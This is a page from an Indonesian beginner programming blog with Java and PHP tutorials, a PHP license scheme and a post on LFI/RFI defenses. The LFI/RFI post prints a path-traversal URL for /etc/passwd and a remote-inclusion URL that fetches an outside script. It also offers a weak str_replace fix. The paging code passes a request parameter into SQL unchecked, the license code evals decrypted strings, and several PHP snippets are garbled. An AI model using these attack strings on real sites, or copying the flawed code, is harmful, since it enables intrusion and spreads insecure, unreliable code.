Thursday, December 5, 2013

Membuat Objeck Orang Dengan Java Script

Hai kawan lama neh gak posting di blog jadi kangen kalian hua hua
ok barusan belajar java dengan fungsi class hehe kalo program nya jelek jangan d bly ya ka wkaka
saya jelasin aku buat satu class dengan nama orang dan variable nya sebagai berikut :
String nama; //nama orang
     int tinggibadan;    //dalam cm
    int beratbadan;        //dalam kg
    String warnarambut;    //hitam, pirang, coklat
    String warnakulit;    // sawomatang, hitam, putih
    String jeniskelamin;    //pria atau wanita
    boolean berkacamata;    //bila berkacamata berarti true
serta methode menangis huahuaua  tanpa banyak basa basi ini script code nya monggo:
package objectorang;
//class
class orang {
    String nama; //nama orang
     int tinggibadan;    //dalam cm
    int beratbadan;        //dalam kg
    String warnarambut;    //hitam, pirang, coklat
    String warnakulit;    // sawomatang, hitam, putih
    String jeniskelamin;    //pria atau wanita
    boolean berkacamata;    //bila berkacamata berarti true
    //method
    void menangis() {
        System.out.println("hik...hikk...hik..");
    }
    void tertawa() {
        System.out.println("ha..ha...ha...ha...");
    }
}


public class Objectorang {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        //mebuat object
        orang orang1 = new orang();
      
        //pemberian nilai
        orang1.nama = "Aby";
        orang1.tinggibadan = 170;
        orang1.beratbadan = 55;
        orang1.warnarambut = "hitam";
        orang1.warnakulit = "putih";
        orang1.jeniskelamin = "pria";
        orang1.berkacamata = false;
      
        //menampilkan
        System.out.println("nama        :" +orang1.nama);
        System.out.println("tinggi        :" +orang1.tinggibadan);
        System.out.println("berat        :" +orang1.beratbadan);
        System.out.println("warna rambut    :" +orang1.warnarambut);
        System.out.println("warna kulit    :" +orang1.warnakulit);
        System.out.println("jenis kelamin    :" +orang1.jeniskelamin);
        System.out.println("berkacamata    :" +orang1.berkacamata);
        //pemanggilan method
        orang1.menangis();
    }
}
screehshoot nya sperti ini

Tuesday, October 1, 2013

Basic Java Script Membuat Program Menghitung Rumus Belah Ketupat

Hai kawan-kawan lama neh gak posting di blog hehe biasa banyak kegiatan di dunia nyata jadi lupa ama dunia maya huahuaua dan skalian lagi ada tugas juga dari pa dosen.  Kali ini uchi akan bahas tentang perhitungan luas belah ketupat dengan java script via NetBean hehe udah pada tau blom neh rumus luas  belah ketupat gimana yaitu d1*d2*1/2
d1=diagonal 1
d2-diagonal 2
 oke tanpa banyak cing cong kita lansung tkp:
Struktur Alghoritma pemrograman ;
-mulai
-masukan input d1
-masukan input d2
-proses (masukan rumus luas belah ketupat Lu=d1*d2*0.5)
-cetak hasil lu
-selesai
Flowchart

 Deklarasi
Diagonal 1= d1
Diagonal 2= d2
Luas           = lu
Proses Luas = lu =d1*d2*0.5


Source Code:
package luas_belah_ketupat;
/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
import java.util.Scanner;

/**
 *
 * @author Asus
 */
public class Luas_belah_ketupat {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        Scanner ketupat=new Scanner(System.in);
        System.out.print("masukan nilai d1:    ");
        int d1=ketupat.nextInt();
        System.out.print("masukan nilai d2:    ");
        int d2=ketupat.nextInt();
        double lu=d1*d2*0.5;
        System.out.print("maka luas belah ketupat adalah:"  +lu);
    }
}
screen shott hasil nya

Tuesday, April 23, 2013

buat paging class dengan PHP


dulu ane pernah iseng2 nyobain script2 PHP dari temen. eh malah sekarang jd nagih deh... dan sekarang ane mau ngulas gimana buat paging class....
mungkin kalo ada yang udah post ane ga tahu om, jadi maaf ya...??
semoga belum ada omz...

paging class....??
opo iku...??
mungkin sebagaian ada yang ga paham dengan ini....
hhehe...

ada yang pernah lihat google...??
di bawah itu kan ada halaman 1,2,3,4,dst...
atau GOOOOOOOOOOOOOOOOGLE.....
nah, itulah yang dinamakan paging class.... :)

nah di sini saya ingin memberikan code nya, tapi yang masih standard om...
<?php
mysql_connect
("localhost","root","12345");mysql_select_db("pintar");
//cara di bawah ini untuk menentukan batas data, posisi, dan halaman ..$batas   7;$page $_GET['page'];
if(empty(
$page)){
    
$halaman=1;
        
$posisi=0;
   
}else{
    
$posisi = ($page-1) * $batas;
}
// Sesuaikan perintah SQL$sql="select * from anggota limit $posisi,$batas";$query=mysql_query($sql);
$no=$posisi+1// Agar penomoran mengikuti pagingwhile ($data=mysql_fetch_array($query)){
  echo 
"$no $data[nm_mahasiswa] $data[universitas]<br>";
  
$no++;
}
//Hitung total data dan link page (1,2,3,4,dst) ...echo "<br>Halaman : ";
$sql2="select * from anggota";$query2=mysql_query($sql2);$result2=mysql_num_rows($query2);$jumlahpage=ceil($result2/$batas);$i=1;
while(
$i<=$jumlahpage){
if (
$i != $page)
{
    echo 
" <a href=$_SERVER[PHP_SELF]?page=$i>$i</A> | ";
}
else
{
    echo 
" <b>$i</b> | ";
}
$i++;
}
echo 
"<p>Total anggota : <b>$result2</b> orang</p>";?>

nah, ini nanti hasilnya akan keluar page-page lanjutan halaman 2,3,4,5,6, dst dengan data yang ditampilkan sejumlah $batas diatas...
jika data yang mau ditampilkan 10 perhalaman, $batas tinggal di ubah $batas = 10;

nah, selamat mencoba ya gan...
InsyaAlloh, kedepannya bakal banyak yang di kupas tuntas setajam cutter....
#niru tayangan nya RC*I...

Membuat License php by domain


ane langsung aja dah ... ini cara buat license dengan membaca domain website dan mengenksirpsi license tersebut...


maaf yah kalo nora... maklum masih newbie

1. buat file untuk membuat generate license
function encode_mac64($string) { $data = base64_encode($string);$data = str_replace(array('+','/','='),array('-','_',''),$data); return $data;}
function encode_mac($value){
            $skey  = "sigitpamungkas"; if(!$value){return false;} $text = $value;
            $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
            $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
            $crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, skey, $text, MCRYPT_MODE_ECB, $iv);
            return trim(encode_mac64($crypttext));
}

//enksripsi cek domain 

$getif = encode_mac('if (!in_array($_SERVER[HTTP_HOST], $allowed_hosts)) {echo "<center><h1>Aplication No License<br/> <h1></center>";exit;}');

//domain yang di perbolehkan
$url1 = encode_mac('$allowed_hosts = array("192.168.1.64","localhost",  "127.0.0.1");');


//konfigurasi database
$config = encode_mac('$SQLHOST  = "localhost";
$SQLUSER  = "sigit";
$SQLPASS  = "sigit";
$SQLDB      = "XXXXX;
$SQLCONN  = ADONewConnection("mysql");
$SQLCONN->PConnect($SQLHOST, $SQLUSER, $SQLPASS, $SQLDB);
if(!$SQLCONN->PConnect($SQLHOST, $SQLUSER, $SQLPASS, $SQLDB))  { echo "<center><h1>Aplication No Connect Database<br/><h1></center>";exit;};');




//cetak hasil enksirpsi
$setting = '<div>buka file config/config.php dan silakan ganti baris ini <br/>
            $setting="'.$url1.', '.$getif .','.$config.'";</div>';

echo $setting; 
result hasil dari file di ata adalah
$setting="EAkd5GnrC4hqt6C_x6jfEpRUvCib09WDjYUcbaPnO8yOx2a_UqZ5i5SLYzLhIhlo8K8iHdUtcbTmXiYrFcS8LuEQPuK-xTNjPMIby89gJD9tfmCz6gqMhfHYNIGezQFi, lo6ibliuAWBZUFUglsO2aNG8SFhI6JwIjn3AOEDKWTfRwTTr8uUwJrQiwLtINfGP7nIODm7d8PikYcyq2a7cF6zmm8vcfV17x9hLFEqEfNJyk8DlN4vcjpDfwTIvhkx-Et1N5FH7KZbnhah1CpqvMohKnnu1Q7phZb9orkfamzwGUrhuKxcycjf-ymwcbWWr3FyKkXdDcRsPJR2NR47GLQ3mKz-yWEf8p9r0pSoaj2ko1mCWpWDTJ-kpII6A_dSrFNjZfjWnjbdyNOQaIUJFylILGHv9-AbtYrPdbJyG-oxB3bIs69PYDU70JbxfACsDT_zN8R6_jjfur9IItvroj1JgjEE582RzsBTkNuVRFhr3-e04Rv3TQ0u5VrqHnnGqQg5I3lfdIM7lT7N9ZcXD5mR3FDc1ZK8klYfsmQvGziRzHQCdlGMaZiw0oHz0ytPUKkcJ6HTWPG66_zpRSxO29g,2JS1nDHM7dS8yYP7cBblbKlr9jcRTLzhky9R2hGut45mb8i_X3baJiX0IIJttqJm8roGHIS8zAxai54OzpUQ29NY8x9-QzUSFP_bB3W2pWZ_XXV7UkhggM-iX1yW620lfe6mLxgAinZQ-o-LkfrX4MwhsZrZgGY50RyUG3tx0dT5Z8axHQZghv84HrO3_tUkrzr4NAuO1Gj4q1UOD4QrvQxtOzKUlkUTzQVf3V7E6X8teM87djKd6cpTEEKUPaI49jp0-VlQrcK21j1oSI2aZKrwbn5tlFYtpI44ChSORyWRVNUE2KbwOFQ6t4jChKVtybHoQpjsM4HwjmFj9S4VhO94KXkIEeGvGk6KnchH9Sv6AGSpgBoTQoO6SOda51G254O_0wncTAr-rmr9DoO2ZHT4hCqLk18Z2OlOxTOHLoRjOMeObxO1UVO_7dD6PpF3Sd8PWF5b7GL3LZ8tutGDx6Oy5I7a4a_g2lR250jQmPCcEZWE7AQKqRdb3KYweA5dtlijKvewx90p6kQsucydeWIKqHYUO1zN1ZK0Z5WAQsApNOCjjKkUw5Vzw1H0X1MoymbI7IlCEeL1JAothTjS-Wb7UkRSENxlkm9QFjl4Kg0pBQc80l7olqnDWqDyJ5aOY3E21zkZzWYuJXqfzLGLPhHAGaa_RIOE7zLDkixFJmzdB_nJUCkmz5xxM6cKE12p5uL0WgVEV4sO9xZpd_S4Ak-PAZ54qCDhx5Vnxs5J32s9RuffVLAzgppr-X1vEHkU5aL7JhVXowbVrqu-GyCPmUvrTcv-jCzTMW5vs04zoYA"; 
nah sekarang tinggal copy hasil enskripsi ini ke table configurasi

sehingga menjadi seperti ini
function decode_mac64($string) {$data str_replace(array('-','_'),array('+','/'),$string); $mod4 strlen($data) % 4;if ($mod4) {$data .= substr('===='$mod4); }return base64_decode($data);}




function 
decode_mac($value=''){
    
$skey  "sigitpamungkas";
    if(!
$value){return false;}
    
$crypttext decode_mac64($value);
    
$iv_size mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256MCRYPT_MODE_ECB);
    
$iv mcrypt_create_iv($iv_sizeMCRYPT_RAND);
    
$decrypttext mcrypt_decrypt(MCRYPT_RIJNDAEL_256skey$crypttextMCRYPT_MODE_ECB$iv);
    return 
trim($decrypttext);
}


$setting="EAkd5GnrC4hqt6C_x6jfEpRUvCib09WDjYUcbaPnO8yOx2a_UqZ5i5SLYzLhIhlo8K8iHdUtcbTmXiYrFcS8LuEQPuK-xTNjPMIby89gJD9tfmCz6gqMhfHYNIGezQFi, lo6ibliuAWBZUFUglsO2aNG8SFhI6JwIjn3AOEDKWTfRwTTr8uUwJrQiwLtINfGP7nIODm7d8PikYcyq2a7cF6zmm8vcfV17x9hLFEqEfNJyk8DlN4vcjpDfwTIvhkx-Et1N5FH7KZbnhah1CpqvMohKnnu1Q7phZb9orkfamzwGUrhuKxcycjf-ymwcbWWr3FyKkXdDcRsPJR2NR47GLQ3mKz-yWEf8p9r0pSoaj2ko1mCWpWDTJ-kpII6A_dSrFNjZfjWnjbdyNOQaIUJFylILGHv9-AbtYrPdbJyG-oxB3bIs69PYDU70JbxfACsDT_zN8R6_jjfur9IItvroj1JgjEE582RzsBTkNuVRFhr3-e04Rv3TQ0u5VrqHnnGqQg5I3lfdIM7lT7N9ZcXD5mR3FDc1ZK8klYfsmQvGziRzHQCdlGMaZiw0oHz0ytPUKkcJ6HTWPG66_zpRSxO29g,2JS1nDHM7dS8yYP7cBblbKlr9jcRTLzhky9R2hGut45mb8i_X3baJiX0IIJttqJm8roGHIS8zAxai54OzpUQ29NY8x9-QzUSFP_bB3W2pWZ_XXV7UkhggM-iX1yW620lfe6mLxgAinZQ-o-LkfrX4MwhsZrZgGY50RyUG3tx0dT5Z8axHQZghv84HrO3_tUkrzr4NAuO1Gj4q1UOD4QrvQxtOzKUlkUTzQVf3V7E6X8teM87djKd6cpTEEKUPaI49jp0-VlQrcK21j1oSI2aZKrwbn5tlFYtpI44ChSORyWRVNUE2KbwOFQ6t4jChKVtybHoQpjsM4HwjmFj9S4VhO94KXkIEeGvGk6KnchH9Sv6AGSpgBoTQoO6SOda51G254O_0wncTAr-rmr9DoO2ZHT4hCqLk18Z2OlOxTOHLoRjOMeObxO1UVO_7dD6PpF3Sd8PWF5b7GL3LZ8tutGDx6Oy5I7a4a_g2lR250jQmPCcEZWE7AQKqRdb3KYweA5dtlijKvewx90p6kQsucydeWIKqHYUO1zN1ZK0Z5WAQsApNOCjjKkUw5Vzw1H0X1MoymbI7IlCEeL1JAothTjS-Wb7UkRSENxlkm9QFjl4Kg0pBQc80l7olqnDWqDyJ5aOY3E21zkZzWYuJXqfzLGLPhHAGaa_RIOE7zLDkixFJmzdB_nJUCkmz5xxM6cKE12p5uL0WgVEV4sO9xZpd_S4Ak-PAZ54qCDhx5Vnxs5J32s9RuffVLAzgppr-X1vEHkU5aL7JhVXowbVrqu-GyCPmUvrTcv-jCzTMW5vs04zoYA";$j=0;
$applay explode(','$setting);
    for (
$i=0$i<count($applay); $i++) {
     
$coba[$j]= decode_mac($applay[$i]);
    eval(
$coba[$j]);
    
$j++;


di dalm eksipsiu ini terdapat domain mana yang di perboleh kan dan configurasi database 


sekian share dari ane semoga bermanfaat

maaf kakak om ane masih newbie



 

mengatasi LFI (local file inclusion) dan RFI (Remote file inclusion)


malam om.... 
ane dellacroug mau ngasih tutor lagi nie om...
karena postingan ane kemaren di indikasikan belum di sanitasi dari LFI dan RFI...
nah, di sini ane mau nepatin janji ane nie untuk memperbaiki postingan ane yang Membangun website bagian 2 thanks for om genta, om afika666, dan om-om lain yang ngasih kritik dan saran...

langsung aja ni ya..
apa sih itu LFI, dan RFI...??

LFI singkatan dari Local File inclusion, adalah kerentanan proses pada file yang di include atau dimasukkan pada server saat browsing. kerentanan ini terjadi saat file yang di include kan atau file masukan tidak di filterisasi dan di sanitasi script ny dan mengijinkan untuk mengaksses file lain dengan mudah.

contoh type script yang rentan dengan LFI ,
<?php
   $file 
$_GET['file'];
   if(isset(
$file))
   {
       include(
"pages/$file");
   }
   else
   {
       include(
"index.php");
   }
   
?>
pemanggilan link sebagai berikut
Quote:
http://example.com/index.php?file=contactus.php

nah alamat script diatas rentan dengan serangan dari orang2 yang tertarik dengan file-file lain... dan biasanya mereka menggunakan teknik LFI. contoh script dari penyerang...

Quote:
http://example.com/index.php?file=../../...etc/passwd

nah untuk pencegahan nya kita bisa menggunakan operator str_replace().
PHP Code:
str_replace ( $search , $replace , $subject)
//$search = adalah kata yang akan diganti;
//$replace = adalah kata2 penggantinya;
//$subject = adalah kaliamt atau phrase yang didalamnya termuat kata-kata yang akan diganti.
jadi script diatas maksudnya, saat attacker mencoba mengakses
Quote:
http://example.com/index.php?file=../../...etc/passwd
tidak akan bisa, karena ../ akan langsung diganti karakter kosong atau dihapus...

nah untuk yang RFI...
RFI atau remote file inclusion dapat diartikan menyisipkan sebuah program dari luar file dalam sebuah server dengan tujuan file yang dimasuki tersebut akan bekerja saat program inject tersebut dieksekusi,,,
dan program yang di inject tersebut bisa mengontrol server, bahkan bisa mengambil kedudukan sebagai admin root..

Variabel tersebut memiliki kemungkinan untuk disisipi file dari luar
webserver dengan eksploit script injeksi PHP:
Quote:
http://www.target.com/[Script Path]/jscript.php?my_ms[root]=http://www.injek-pake-kaki.com/script?
Diatas adalah contoh eksploitasi MySpeach < = v3.0.2 (my_ms[root])

Cara terbaik untuk mencegah serangan RFI adalah untuk tidak pernah menggunakan data masukan seenaknya dalam file termasuk permintaan.

Mengambil contoh dari sebelumnya, cara yang lebih aman untuk menerapkan situs ini adalah dengan menggunakan sebuah array untuk memetakan parameter halaman dari link ke nama file yang sebenarnya di server:
PHP Code:
<?php

 $page_files=array( 'about'=>'about.html',

                    'photos'=>'photos.html',

                    'contact'=>'contact.html',

                    'home'=>'home.html'

                  );

 

if (in_array($_GET['page'],array_keys($page_files))) {

      include $page_files[$_GET['page']];

 } else {

      include $page_files['home'];

}

?>
nah jadi tetap dalam keamanan script kita harus sanitasi dan validasi agar para attacker tidak bisa masuk mengobrak abriknya... 

nah sekian mungkin tutor untuk mengatasi LFI dan RFI...
mungkin ada om-om yang mau nambahi saya persilahkan... 

referensi ane dari sini om..
1. http://www.esecurityplanet.com/browser-s...tacks.html
2. http://www.binushacker.net/remote-file-i...n-rfi.html
3. http://hakipedia.com/index.php/Local_File_Inclusion
4. http://translate.google.com/ 

insyaAlloh selanjutnya ane ke membangun website bagian 3...
 om...
 



Thursday, April 11, 2013

Cara Cepat Transfer File antar Hosting dengan php

Permisi temen-temen sekalian, om mimin, momod, dan om sekalian,, Newbie sekedar ingin nabung ingetan sekaligus kali aja ada manfaat bagi temen-temen sekalian. Kalaupun ada sesuatu yang kurang berkenan menurut rule yang ada dari tulisan ini, mohon dibantu di delete note saya ini. Pada kesempatan kali ini, tema yang mau saya share adalah Simsalabim :: Cara Cepat Transfer File antar Hosting . General review, saya sedang ingin pindah hosting. Wah dalah, setelah saya periksa, file ane di hostingan lama itu sebesar 600 MB nan. Bagi temen-temen yang punya koneksi supercepat, pasti nggak maslaah kalau musti download segala file yang ada di public html untuk nantinya dipasangkan di hostingan baru. Lah, bagi saya yang koneksinya sekedar paket socialitanya speedy, jelas mendownload 600 MB menjadi persoalan tersendiri sebab lamanya dan kadang nggak beres di downloadnya atau semisal terjadi file corrupt . Nah, saya kemudian berpikir, ada kah cara memindahkan file yang lumayan besar gitu tanpa repot-repot nunggu download, juga harus upload lagi yang benar-benar menguras kecepatan paket internet kita? adakah cara agar satu hosting ke hosting lainnya bak mindah file saja dari folder satu ke folder lain bak kita pindah file satu partisi daari folder satu ke folder lain melalui windows eksplorer? udah gitu, caranya mudah nggak makai banyak script aneh yang bikin keriting rambut newbie seperti saya. Akhirnya, atas kebaikan seorang om [belum dikasih tau IDnya yang disini, taunya di FBnya aja] bisa menshare script ringkes yang work sangat keren. Bayangkan, transfer langsung antar hosting file saya sebesar 600 MBnan nggak sampai 30 detik. Subhanallah,, sangat cepat. Gimana metodenya? Berikut akan saya sharekan. Namun saya anggap temen-temen sudah memahami penggunaan area file manager pada cpanel hosting masing-masing. Sebelumnya dua cpanel hosting yang mau ditransfer harus dibuka bersamaan [agar mudah pengaturannya saja]. agar memudahkan diskusi, saya akan gunakan beberapa istilah seperti alamathostinglama.com (alamat URL utama hosting lama), alamathostingbaru.com (alamat URL utama hosting baru/ yang dijadikan tujuan pindah), fileyangmaudipindah.zip (hasil zip segala folder atau file wordpress yang ada di hostingan), dan simsalabim.php (script php yang harus dibuat sebagai perintah memindah file antar hosting). 1. BUka file manager di dua cpanel di alamathostinglama.com dan alamathostingbaru.com pada satu browser (saat praktek saya gunakan crome). Compress dalam bentuk zip semua file yang mau ditransfer di alamathostinglama.com. Agar memudahkan proses belajar, please hasil zipnya dikasih nama fileyangmaudipindah.zip (atau yang penting anda ingat). 2. Sekarang buka notepad ++ milik anda, new file >> masukan Lalu, save dengan extensi .php dengan nama simsalabim.php. (catatan: rubah hxxp dengan http) 3. Upload simsalabim.php ke area public html di alamathostingbaru.com. Sehingga nantinya bisa kita akses dengan mengetikkan perintah alamathostingbaru.com/simsalabim.php pada browser yang anda gunakan. 4.Jika proses fileyangmaudipindah.zip sudah ready, dua area public html sudah terbuka, mari kita coba memindahkan file wordpress atau file apapun yang kita masukan ke compresan fileyangmaudipindah.zip. Caranya anda buka tab di browser yang sama, lalu masukan perintah alamathostingbaru.com/simsalabim.php Kalau benar, pada crome memproses dengan muncul muter muter kecil di area tab browser yang kita gunakan mengetik perintah. Misal proses / muter-muter sudah selesai, itu artinya fileyangmaudipindah.zip itu sudah dipindah ke public html di hostingan yang baru. 5.Untuk memastikan apakah sudah terpindah fileyangmaudipindah.zip-nya, refreshlah area hosting baru dengan menekan tombol GO yang ada pada area filemanager hostingan baru. Scroll ke bawah pada area file yang ada dikolom kanan, biasanya sudah ada filenya disitu.

Thursday, February 14, 2013

Mengapa sebaiknya anda tidak Jadi Programmer?



[Image: programmer.jpg]

Menjadi programmer bukanlah pilihan yang menjanjikan, suer!!!, anda ingin merasakan kehidupan jadi seorang programmer? jika anda suka nonton jason bourne itulah programmer, di kejar kejar oleh waktu, bos, client dan orang orang yang selalu “ingin membunuh anda”, penuh dengan bertanya ” sudah selesaikah programnya?” sampai mana? kapan program selesai ? dstnya, namun biar lebih jelas mengapa sebaiknya andda tidak jadi programmer sekalipun anda mahasiswa jurusan IT dengan IP 4.0, sangat tidak disarankan jadi programmer,

tulisan ini saya tulis untuk anak anak IT yang mau lulus atau sedang menyelesaikan Tugas akhir, skripsi Kerja praktek atau apaun, setelah lulus jangan berpikir jadi programmer, sebaiknya anda lebih memikirkan masa depan yang lebih baik, misal jadi PNS, Pegawai kantor, atau menjadi istri milyader jika anda perempuan atau yang lebih keren dan ngetrend sebaiknya anda menjadi hacker, punya reputasi, terkenal hebat, keren dan canggih walaupun sebenarnya anda ga sehebat itu. ingat pencitraan itu lebih penting dari kemampuan.

nih daftar alasan mengapa sebaiknya anda tidak jadi programmer!

1. terus menerus belajar 

Jika anda jadi programmer , anda harus lebih lebih hebat dari superman. Pekerjaan superman aslinya cuma wartawan, dan kemampuan supernya sudah ada secara default dari lahir, sedangkan jika anda jadi programmer, anda harus mendapatkan “kekuatan super” anda sedikit demi sedikit, dan jangan dikira anda hanya balajar bahasa pemrograman saja itu cukup, anda harus belajar apapun yang diminta client, misalnya anda membuat program untuk bank, anda harus belajar perbankan, penjualan, anda harus berpikir sebagai penjual, membuat program perhitungan nuklir, anda harus paham rumus nuklir, apapun yang diminta oleh client atau bos anda, artinya anda siap jadi apa saja.

sebagai contoh real anda adalah programmer web dengan php, dulu anda cukup bisa php mysql, sekarang itu saja ga cukup, anda harus menguasai ajax, Jquery, json, xml, web API,framework, cloud dan segudang istilah teknis yang keluar hampir tiap hari!, muntah deh pokoknya!

2. berpikir 24 jam nonstop

Anda pikir programmer (terutama programmer yang kerja di kantor) hanya berpikir selama 8 jam sehari? tidak, apalagi programmer freelance, Programer berpikir 24 jam nonstop, saat makan, saat di Wc bahkan saat sholat anda masih memikirkan program yang tadi ga jalan, dan “BINGO” setan memberi tahu kesalahan atau solusi persis saat anda berusaha khusuk dalam sholat. Kalau sudah akut, bahkan mimpi anda juga berisi code program yang anda begitu senangnya bahwa program selesai dibuat tapi saat bangun, weeeh…programnya masih error!

3. Menjadi Budak !

Anda harus siap jadi budak bos anda, atau client anda, bayangkan anda jadi programmer dan bos anda didatangi client untuk membuat program ” sederhana” .programnya sederhana memang , cukup membuat program android satu tombol yang jika di klik tombolnya maka BOM Nuklir di Iran akan meluncur ke negara yahudi, gampang kan cuman 1 tombol. Tentunya bos anda akan senang hati menerima proyek gampang tersebut dengan nilai duit yang besar, semantara anda hanya bisa membenturkan kepala anda berkali kali ke tembok. :P ingat, cuman satu tombol, gampang koK!

4. Berasa jadi Buronan tiap har

Jason bourne, itulah gambaran yang tepat untuk programmer, hampir tiap 5 menit sms datang tanya” dah selesai mas programnya”, webnya dah jadi belum mas, kemarin revisinya gimana mas, mas cuman revisi dikit kok lama ya, terror terus berdatangan bahkan saat anda tidur, itu kalau anda freelance, tapi kalo anda programmer kantoran itu juga ga jauh beda, cuman yang bertanya bos yang tiba tiba muncul dibelakang anda dan bertanya:” Sampaimana proggressnya?”

Banyak mahasiswa stres dan pusing setengah mati ketika deadline pengumpulan naskah dan programnya belum selesai padahal kurang dari 1 minggu lagi, programmer hampir tiap hari di deadline, kata teman saya,berasa pendadaran tiap hari, dan jika anda gagal saat deadline, anda dipecat, tidak dibayar atau client membatalkan perjanjian, mereka menganggap pekerjaan programmer tuh gampang, tinggal ketik, copy paste code, terus jalan, apa susahnya eh… ,!

5. Bayarannya dikit

jangan mimpi kalau programmer di indonesia hidup makmur, tinggal buat program , duit mengalir, jutaan atau puluhan juta, ingat itu cuman di dunia mimpi, kenyataan dilapangan, programmer indonesia cuman mendapat gaji kurang dari 10% dari teman temannya di amerika sono, Programmer itu diperas habis habisan otaknya namun dibayar seperti buruh bangunan, makanya banyakan programmer itu kurus, jarang mandi, mata belo dan kamar brantakan karena kerja dari bangun tidur sampai mau tidur lagi!

6. Susah dapat cewek

Berbeda dengan pemain bola atau HACKERSSS, yang selalu di gandrungi cewek cewek, dengan penampilan dekil dan jarang mandi serta mata belo, jarang yang suka ma programmer, ingat , secara programmer itu hidup sendiri dengan teman setia komputer, makanya jarang bergaul dengan manusia, saat programmer mulai menghidupkan komputer, itulah saatnya dia Masuk “real life” sedangkan saat bersosial itu hal yang sulit, programmer kurang pintar dari sisi sosial jadi inget, anda lebih baik menjadi olahragawan yang memperbesar otot anda karena secara default dari jaman purba sampai besok kiamat keknya cewek dah disetting suka dengan laki laki yang bebadan tegap, sixpack, ganteng ya walaupun otak kosong itu ga masalah!

7. masa depan ga jelas!
sekarang sudah banyak program generator, seperti php generator, visual GUI generator dan CMS CMS bertebaran di internet, masa depan programmer itu suram, ga enak, ga jelas, kalau pingin hidup aman , jadilah PNS, bahkan saat anda tidur atau ungkang ungkang baca koran, anda ttap dibayar, sekali lagi, masa depan ga jelas,

8. Tidak ada hari libur,

Berbeda dengan pegawai kantor yang selalu berbunga bunga ketika akhir weekend, menikmati hari libur bersama keluarga, tidak ada yang namanya hari libur bagi programmer, senin,minggu, libur tahun baru, valentine itu sama saja,hari itu flat, datar dan seandainya presiden membuat acara didepan rumah programmer ttersebut , itu juga tidak akan mengalihkannya dari coding, ingat koding dan keyboard sudah menyatu dengan badan programmer.

9. (dianggap) ga punya perasaan

MEmang sih pernyataan diatas tidak selamanya bnar, tapi dengan bekerja secara logic tiap hari, maka semuanya dipikir secara logic, kadang berbicara kasar, ga sabar dan kadang seperti orang gila teriak teriak sendiri, benturin kepala ketembok atu tepok jidat itu tiap hari dilakukannya hanya gara gara 1 baris kode erorr!,ingat kadang proggramer itu lebih menyeramkan daripada bulldog!.jika ingin ketemu dengan programer, carilah saat yang tepat, misal saat yang tepat ketmeu programmer adalah saat dimana dia nonton film comedy atau anime jepang. karena itulah satu satunya hiburan yang menarik bagi dia!

10. Dianggap tidak tepat janji!
ada stereotipe yang menganggap programmer adalah orang yang tidak tepat janji, misal janji kalau program selesai besok, eh ternyata blum jadi, anda pikir programmer itu malas, buang jauh jauh pikiran itu, kadang programer memang tidak menulis kode, karena bingun mo nulis apa, namun otaknya jalan terus, mencari solusi itu bisa berhari hari, anda pikir nulis program itu seperti nyusun batu bata seperti tukang bangunan, TIDAK programmer tidak menepati janjinya karena programming adalah bidang yang paling tidak pasti dalam hal “Kapan selasai”nya. anda mungkin berpikir, ah masa, loe aja kale yang ga profesional? Sekali lagi pikir dulu sebelum ngomong! perusahaan sekelas microsoft kadang menunda rilis produk selama 6 bulan lebih karena proyek program yang rencanya dirilis belum sempurna, programmernya malas?JELAS TIDAK. proggramer di microsoft itu kelas wahid, begitu juga di peruasahaan besar lainnya, Oracle, Google, Apple semuanya sering menunda rilis produk karena fitur yang dijanjikan kadang lebih sulit dari yang diduga. Berpikir positiflah jika program anda belum selesai dibuat oleh programmer!.

saya lupa, saya belum memperkenalkan diri, “I’am programmer, and I have no life”

update:

Bagi yang nanggapin serius, plz deh…hidup jadi programmer tuh dah terlalu serius, jadi nikmati aja tulisan diatas, kata joker “Why so serius”. Saya sendiri programmer dan setelah menulis tulisan ini juga ga terus berhenti jadi programmer kok, lagian isi website ini hampir semunya berisi resource untuk admin jaringan dan programer :-). Jadi programmer dan ingin lebih menikmati hidup, like aja “I’am programmer, and I have no life”di facebook.




Nih saya tambah satu lagi , Montly lifecicyle of programmer, kira2 beginilah kehidupan programmer dalam satu bulan ketawa


http://www.candra.web.id/2012/02/17/mengapa-sebaiknya-anda-tidak-jadi-programmer/
http://devilzc0de.org/forum/thread-18669.html


Newer Posts Older Posts Home